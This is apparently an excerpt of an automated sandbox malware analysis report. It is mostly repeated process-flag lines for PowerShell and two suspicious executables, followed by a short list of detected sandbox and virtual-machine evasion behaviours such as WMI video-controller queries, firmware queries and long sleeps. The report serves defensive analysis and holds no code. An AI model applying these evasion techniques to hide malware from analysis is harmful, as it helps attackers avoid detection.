Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\dmikhsv\file_scaricato.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\dmikhsv\file_scaricato.exe System information queried: FirmwareTableInformation Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Memory allocated: CC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Memory allocated: 28F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Memory allocated: 2800000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
